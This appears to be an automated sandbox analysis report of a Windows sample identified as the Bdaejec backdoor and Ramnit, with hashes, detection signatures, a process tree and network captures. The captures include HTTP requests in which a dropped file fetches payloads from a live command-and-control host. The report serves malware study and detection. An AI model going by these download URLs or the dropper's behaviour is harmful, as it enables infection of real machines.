Analysis

  • max time kernel
    110s
  • max time network
    122s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/12/2024, 02:53 UTC

General

  • Target

    f33872774e26dd5224a50c7a855ac4cb6c002d2e9c75dde9235814279dae89fbN.exe

  • Size

    71KB

  • MD5

    8335cc2b5669fe55b594b69ac8c814e0

  • SHA1

    72f11c65623cd87812a2e49ee189b126e3c9fd8a

  • SHA256

    f33872774e26dd5224a50c7a855ac4cb6c002d2e9c75dde9235814279dae89fb

  • SHA512

    bcb7a3e08aa98121499ff1dd5e0932d1bf0b7bcd269ca12eb84bf7a4757b8520a51f8e54c471d97373ec646dbcf7ca33f67be9e04b088cf29f8ea93afd2e8074

  • SSDEEP

    1536:T+hzRsibKplyXTq8OGRnsPFG+RODTb7MXL5uXZnzEksGCq2iW7z:iROzoTq0+RO7IwnYJGCH

Malware Config

Extracted

Family

bdaejec

C2

ddos.dnsnb8.net

Signatures

  • Bdaejec

    Bdaejec is a backdoor written in C++.

  • Bdaejec family
  • Detects Bdaejec Backdoor. 1 IoCs

    Bdaejec is backdoor written in C++.

  • Ramnit

    Ramnit is a versatile family that holds viruses, worms, and Trojans.

  • Ramnit family
  • ASPack v2.12-2.42 1 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Executes dropped EXE 2 IoCs
  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 64 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 30 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f33872774e26dd5224a50c7a855ac4cb6c002d2e9c75dde9235814279dae89fbN.exe
    "C:\Users\Admin\AppData\Local\Temp\f33872774e26dd5224a50c7a855ac4cb6c002d2e9c75dde9235814279dae89fbN.exe"
    1⤵
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2320
    • C:\Users\Admin\AppData\Local\Temp\SgnMPh.exe
      C:\Users\Admin\AppData\Local\Temp\SgnMPh.exe
      2⤵
      • Executes dropped EXE
      • Drops file in Program Files directory
      • System Location Discovery: System Language Discovery
      PID:4976
    • C:\Program Files (x86)\Microsoft\DesktopLayer.exe
      "C:\Program Files (x86)\Microsoft\DesktopLayer.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4676
      • C:\Program Files\Internet Explorer\iexplore.exe
        "C:\Program Files\Internet Explorer\iexplore.exe"
        3⤵
        • Modifies Internet Explorer settings
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4032
        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4032 CREDAT:17410 /prefetch:2
          4⤵
          • System Location Discovery: System Language Discovery
          • Modifies Internet Explorer settings
          • Suspicious use of SetWindowsHookEx
          PID:3540

Network

  • flag-us
    DNS
    8.8.8.8.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    8.8.8.8.in-addr.arpa
    IN PTR
    Response
    8.8.8.8.in-addr.arpa
    IN PTR
    dnsgoogle
  • flag-us
    DNS
    154.239.44.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    154.239.44.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    ddos.dnsnb8.net
    SgnMPh.exe
    Remote address:
    8.8.8.8:53
    Request
    ddos.dnsnb8.net
    IN A
    Response
    ddos.dnsnb8.net
    IN A
    44.221.84.105
  • flag-us
    GET
    http://ddos.dnsnb8.net:799/cj//k1.rar
    SgnMPh.exe
    Remote address:
    44.221.84.105:799
    Request
    GET /cj//k1.rar HTTP/1.1
    Accept: */*
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
    Host: ddos.dnsnb8.net:799
    Connection: Keep-Alive
  • flag-us
    GET
    http://ddos.dnsnb8.net:799/cj//k2.rar
    SgnMPh.exe
    Remote address:
    44.221.84.105:799
    Request
    GET /cj//k2.rar HTTP/1.1
    Accept: */*
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
    Host: ddos.dnsnb8.net:799
    Connection: Keep-Alive
  • flag-us
    DNS
    134.130.81.91.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    134.130.81.91.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    105.84.221.44.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    105.84.221.44.in-addr.arpa
    IN PTR
    Response
    105.84.221.44.in-addr.arpa
    IN PTR
    ec2-44-221-84-105 compute-1 amazonawscom
  • flag-us
    GET
    http://ddos.dnsnb8.net:799/cj//k3.rar
    SgnMPh.exe
    Remote address:
    44.221.84.105:799
    Request
    GET /cj//k3.rar HTTP/1.1
    Accept: */*
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
    Host: ddos.dnsnb8.net:799
    Connection: Keep-Alive
  • flag-us
    GET
    http://ddos.dnsnb8.net:799/cj//k4.rar
    SgnMPh.exe
    Remote address:
    44.221.84.105:799
    Request
    GET /cj//k4.rar HTTP/1.1
    Accept: */*
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
    Host: ddos.dnsnb8.net:799
    Connection: Keep-Alive
  • flag-us
    GET
    http://ddos.dnsnb8.net:799/cj//k5.rar
    SgnMPh.exe
    Remote address:
    44.221.84.105:799
    Request
    GET /cj//k5.rar HTTP/1.1
    Accept: */*
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
    Host: ddos.dnsnb8.net:799
    Connection: Keep-Alive
  • flag-us
    DNS
    api.bing.com
    iexplore.exe
    Remote address:
    8.8.8.8:53
    Request
    api.bing.com
    IN A
    Response
    api.bing.com
    IN CNAME
    api-bing-com.e-0001.e-msedge.net
    api-bing-com.e-0001.e-msedge.net
    IN CNAME
    e-0001.e-msedge.net
    e-0001.e-msedge.net
    IN A
    13.107.5.80
  • flag-us
    DNS
    22.160.190.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    22.160.190.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    95.221.229.192.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    95.221.229.192.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    196.249.167.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    196.249.167.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    53.210.109.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    53.210.109.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    161.19.199.152.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    161.19.199.152.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    241.42.69.40.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    241.42.69.40.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    133.130.81.91.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    133.130.81.91.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    172.214.232.199.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    172.214.232.199.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    200.197.79.204.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    200.197.79.204.in-addr.arpa
    IN PTR
    Response
    200.197.79.204.in-addr.arpa
    IN PTR
    a-0001a-msedgenet
  • flag-us
    DNS
    30.243.111.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    30.243.111.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    83.210.23.2.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    83.210.23.2.in-addr.arpa
    IN PTR
    Response
    83.210.23.2.in-addr.arpa
    IN PTR
    a2-23-210-83deploystaticakamaitechnologiescom
  • 44.221.84.105:799
    http://ddos.dnsnb8.net:799/cj//k1.rar
    http
    SgnMPh.exe
    564 B
    296 B
    6
    7

    HTTP Request

    GET http://ddos.dnsnb8.net:799/cj//k1.rar
  • 44.221.84.105:799
    http://ddos.dnsnb8.net:799/cj//k2.rar
    http
    SgnMPh.exe
    564 B
    296 B
    6
    7

    HTTP Request

    GET http://ddos.dnsnb8.net:799/cj//k2.rar
  • 44.221.84.105:799
    http://ddos.dnsnb8.net:799/cj//k3.rar
    http
    SgnMPh.exe
    564 B
    296 B
    6
    7

    HTTP Request

    GET http://ddos.dnsnb8.net:799/cj//k3.rar
  • 44.221.84.105:799
    http://ddos.dnsnb8.net:799/cj//k4.rar
    http
    SgnMPh.exe
    564 B
    296 B
    6
    7

    HTTP Request

    GET http://ddos.dnsnb8.net:799/cj//k4.rar
  • 44.221.84.105:799
    http://ddos.dnsnb8.net:799/cj//k5.rar
    http
    SgnMPh.exe
    3.4kB
    312 B
    17
    6

    HTTP Request

    GET http://ddos.dnsnb8.net:799/cj//k5.rar
  • 44.221.84.105:799
    ddos.dnsnb8.net
    SgnMPh.exe
    260 B
    5
  • 44.221.84.105:799
    ddos.dnsnb8.net
    SgnMPh.exe
    260 B
    5
  • 44.221.84.105:799
    ddos.dnsnb8.net
    SgnMPh.exe
    260 B
    5
  • 204.79.197.200:443
    ieonline.microsoft.com
    tls, http2
    iexplore.exe
    1.2kB
    8.3kB
    16
    14
  • 44.221.84.105:799
    ddos.dnsnb8.net
    SgnMPh.exe
    260 B
    5
  • 44.221.84.105:799
    ddos.dnsnb8.net
    SgnMPh.exe
    208 B
    4
  • 8.8.8.8:53
    8.8.8.8.in-addr.arpa
    dns
    66 B
    90 B
    1
    1

    DNS Request

    8.8.8.8.in-addr.arpa

  • 8.8.8.8:53
    154.239.44.20.in-addr.arpa
    dns
    72 B
    158 B
    1
    1

    DNS Request

    154.239.44.20.in-addr.arpa

  • 8.8.8.8:53
    ddos.dnsnb8.net
    dns
    SgnMPh.exe
    61 B
    77 B
    1
    1

    DNS Request

    ddos.dnsnb8.net

    DNS Response

    44.221.84.105

  • 8.8.8.8:53
    134.130.81.91.in-addr.arpa
    dns
    72 B
    147 B
    1
    1

    DNS Request

    134.130.81.91.in-addr.arpa

  • 8.8.8.8:53
    105.84.221.44.in-addr.arpa
    dns
    72 B
    127 B
    1
    1

    DNS Request

    105.84.221.44.in-addr.arpa

  • 8.8.8.8:53
    api.bing.com
    dns
    iexplore.exe
    58 B
    134 B
    1
    1

    DNS Request

    api.bing.com

    DNS Response

    13.107.5.80

  • 8.8.8.8:53
    22.160.190.20.in-addr.arpa
    dns
    72 B
    158 B
    1
    1

    DNS Request

    22.160.190.20.in-addr.arpa

  • 8.8.8.8:53
    95.221.229.192.in-addr.arpa
    dns
    73 B
    144 B
    1
    1

    DNS Request

    95.221.229.192.in-addr.arpa

  • 8.8.8.8:53
    196.249.167.52.in-addr.arpa
    dns
    73 B
    147 B
    1
    1

    DNS Request

    196.249.167.52.in-addr.arpa

  • 8.8.8.8:53
    53.210.109.20.in-addr.arpa
    dns
    72 B
    158 B
    1
    1

    DNS Request

    53.210.109.20.in-addr.arpa

  • 8.8.8.8:53
    161.19.199.152.in-addr.arpa
    dns
    73 B
    144 B
    1
    1

    DNS Request

    161.19.199.152.in-addr.arpa

  • 8.8.8.8:53
    241.42.69.40.in-addr.arpa
    dns
    71 B
    145 B
    1
    1

    DNS Request

    241.42.69.40.in-addr.arpa

  • 8.8.8.8:53
    133.130.81.91.in-addr.arpa
    dns
    72 B
    147 B
    1
    1

    DNS Request

    133.130.81.91.in-addr.arpa

  • 8.8.8.8:53
    172.214.232.199.in-addr.arpa
    dns
    74 B
    128 B
    1
    1

    DNS Request

    172.214.232.199.in-addr.arpa

  • 8.8.8.8:53
    200.197.79.204.in-addr.arpa
    dns
    73 B
    106 B
    1
    1

    DNS Request

    200.197.79.204.in-addr.arpa

  • 8.8.8.8:53
    30.243.111.52.in-addr.arpa
    dns
    72 B
    158 B
    1
    1

    DNS Request

    30.243.111.52.in-addr.arpa

  • 8.8.8.8:53
    83.210.23.2.in-addr.arpa
    dns
    70 B
    133 B
    1
    1

    DNS Request

    83.210.23.2.in-addr.arpa

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Program Files (x86)\Microsoft\DesktopLayer.exe

    Filesize

    71KB

    MD5

    8335cc2b5669fe55b594b69ac8c814e0

    SHA1

    72f11c65623cd87812a2e49ee189b126e3c9fd8a

    SHA256

    f33872774e26dd5224a50c7a855ac4cb6c002d2e9c75dde9235814279dae89fb

    SHA512

    bcb7a3e08aa98121499ff1dd5e0932d1bf0b7bcd269ca12eb84bf7a4757b8520a51f8e54c471d97373ec646dbcf7ca33f67be9e04b088cf29f8ea93afd2e8074

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

    Filesize

    471B

    MD5

    87f8376b71b1fd35da4b511eff055888

    SHA1

    0c55fba0aa699282bbe4d129dd0ba16d4e377ce9

    SHA256

    a1383ed3b4f8967fb19f5b16bfe41eb3242b296ffc06c1098fbe1d1a04a7003f

    SHA512

    8556ed20a3d9daf8f74b2eceaab6a3773b69d5c9524ba8dbb8af1ad64b2235165e487c41646e357be5906aaa7f0f4c57ff8dc9ea2acc0c87f443d3ad083c9031

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

    Filesize

    404B

    MD5

    f680c360423cf2585d75b7110f0507d1

    SHA1

    287d9c40a08ed5a0d2f517520af74c94c4e2c9a8

    SHA256

    f0409aeb183f9f00176b749b1487dc9c5615905f9d67f01455d629f842b8a837

    SHA512

    b20df284f534825c038275c5c810fcfd298dbe3aada8377f8bb1832cfe7ad09936550813015200fe7613e667128c6798e953a99a576eb498f6d5787f115835f1

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\P2UT3MS5\k2[1].rar

    Filesize

    4B

    MD5

    d3b07384d113edec49eaa6238ad5ff00

    SHA1

    f1d2d2f924e986ac86fdf7b36c94bcdf32beec15

    SHA256

    b5bb9d8014a0f9b1d61e21e796d78dccdf1352f23cd32812f4850b878ae4944c

    SHA512

    0cf9180a764aba863a67b6d72f0918bc131c6772642cb2dce5a34f0a702f9470ddc2bf125c12198b1995c233c34b4afd346c54a2334c350a948a51b6e8b4e6b6

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\P2UT3MS5\suggestions[1].en-US

    Filesize

    17KB

    MD5

    5a34cb996293fde2cb7a4ac89587393a

    SHA1

    3c96c993500690d1a77873cd62bc639b3a10653f

    SHA256

    c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad

    SHA512

    e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee

  • C:\Users\Admin\AppData\Local\Temp\4AE41F4B.exe

    Filesize

    4B

    MD5

    20879c987e2f9a916e578386d499f629

    SHA1

    c7b33ddcc42361fdb847036fc07e880b81935d5d

    SHA256

    9f2981a7cc4d40a2a409dc895de64253acd819d7c0011c8e80b86fe899464e31

    SHA512

    bcdde1625364dd6dd143b45bdcec8d59cf8982aff33790d390b839f3869e0e815684568b14b555a596d616252aeeaa98dac2e6e551c9095ea11a575ff25ff84f

  • C:\Users\Admin\AppData\Local\Temp\SgnMPh.exe

    Filesize

    15KB

    MD5

    56b2c3810dba2e939a8bb9fa36d3cf96

    SHA1

    99ee31cd4b0d6a4b62779da36e0eeecdd80589fc

    SHA256

    4354970ccc7cd6bb16318f132c34f6a1b3d5c2ea7ff53e1c9271905527f2db07

    SHA512

    27812a9a034d7bd2ca73b337ae9e0b6dc79c38cfd1a2c6ac9d125d3cc8fa563c401a40d22155811d5054e5baa8cf8c8e7e03925f25fa856a9ba9dea708d15b4e

  • memory/2320-7-0x0000000000520000-0x000000000052F000-memory.dmp

    Filesize

    60KB

  • memory/2320-9-0x0000000000400000-0x0000000000433000-memory.dmp

    Filesize

    204KB

  • memory/2320-0-0x0000000000400000-0x0000000000433000-memory.dmp

    Filesize

    204KB

  • memory/4676-13-0x0000000000400000-0x0000000000433000-memory.dmp

    Filesize

    204KB

  • memory/4676-15-0x00000000004E0000-0x00000000004E1000-memory.dmp

    Filesize

    4KB

  • memory/4976-45-0x0000000000D10000-0x0000000000D19000-memory.dmp

    Filesize

    36KB

  • memory/4976-4-0x0000000000D10000-0x0000000000D19000-memory.dmp

    Filesize

    36KB

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